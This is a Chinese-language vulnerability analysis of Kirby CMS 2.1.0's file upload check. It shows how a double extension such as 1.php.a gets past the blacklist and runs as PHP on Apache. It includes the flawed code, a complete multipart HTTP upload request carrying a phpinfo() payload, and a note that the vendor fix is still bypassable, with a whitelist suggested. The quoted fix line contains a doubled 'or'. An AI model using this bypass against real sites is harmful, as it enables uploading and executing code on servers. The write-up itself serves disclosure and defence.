##1.漏洞分析
漏洞程序下载地址:
http://download.getkirby.com/files/kirby-2.1.0.zip
panel/app/controllers/api/files.php 220行
```php
if(strtolower($file->extension()) == kirby()->option('content.file.extension', 'txt')) {
throw new Exception('Content files cannot be uploaded');
} else if(strtolower($file->extension()) == 'php' or
in_array($file->mime(), f::$mimes['php'])) {
throw new Exception('PHP files cannot be uploaded');
} else if(strtolower($file->extension()) == 'html' or
$file->mime() == 'text/html') {
throw new Exception('HTML files cannot be uploaded');
} else if(strtolower($file->extension()) == 'exe' or
$file->mime() == 'application/x-msdownload') {
throw new Exception('EXE files cannot be uploaded');
} else if(strtolower($file->filename()) == '.htaccess') {
throw new Exception('htaccess files cannot be uploaded');
} else if(str::startsWith($file->filename(), '.')) {
throw new Exception('Invisible files cannot be uploaded');
...
返回后缀函数,很简单的绕过
static public function extension($file, $extension = false) {
// overwrite the current extension
if($extension) return static::name($file) . '.' . $extension;
// return the current extension
return strtolower(pathinfo($file, PATHINFO_EXTENSION));
}
```
检测PHP文件的方式,只是看文件的后缀名是否为php,或文件的MIME类型被定义为PHP。满足条件其一,KirbyCMS就停止上传功能。
##2.漏洞利用
需要后台登录的权限才能上传文件
上传1.php.a这种格式的文件 在apache中仍然作为php文件解析
上传文件数据包
```
POST /panel/api/files/upload/home HTTP/1.1
Host: kirby2.1.0
Content-Length: 213
Accept: application/json
Cache-Control: no-cache
Origin: http://kirby2.1.0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuAZ3Byn3B4FDJZjz
Referer: http://kirby2.1.0/panel/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2,und;q=0.2
Cookie: PHPSESSID=1dc49bc2b3744ac9529cb013ba726eb8; kirby=464ce9f291f08fcb22b290bbf55d6efa27155a70%2BJFYrlZyO3hF5436oAQoMjglN9cUwBb48Ko9cZ8hkBi2DfED4sS4RMMiEcuW9BFEN
------WebKitFormBoundaryuAZ3Byn3B4FDJZjz
Content-Disposition: form-data; name="file"; filename="1.php.a"
Content-Type: application/x-php
<?php
phpinfo();
?>
------WebKitFormBoundaryuAZ3Byn3B4FDJZjz--
```
##3.漏洞修复
panel/app/controllers/api/files.php 220行
```php
else if(strtolower($file->extension()) == 'php' or or str::contains($file->extension(), 'php') or
in_array($file->mime(), f::$mimes['php'])) {
```
增加了str::contains($file->extension(), 'php') 的判断
来看看这函数的功能
kirby/toolkit/lib/str.php 422行
```php
static public function contains($str, $needle, $i = true) {
if($i) {
$str = static::lower($str);
$needle = static::lower($needle);
}
return strstr($str, $needle) ? true : false;
}
```
然而这个函数也只是对比后缀中是否存在php而已,但是由于获取后缀的函数存在问题。
1.php.a 它获取的是a 而不是php.a
所以最新版本的仍然可以绕过。
临时补丁:
上传应该采用白名单的形式并对上传的目录去掉执行权限
定义一个array白名单 判断后缀是否在其中
暂无评论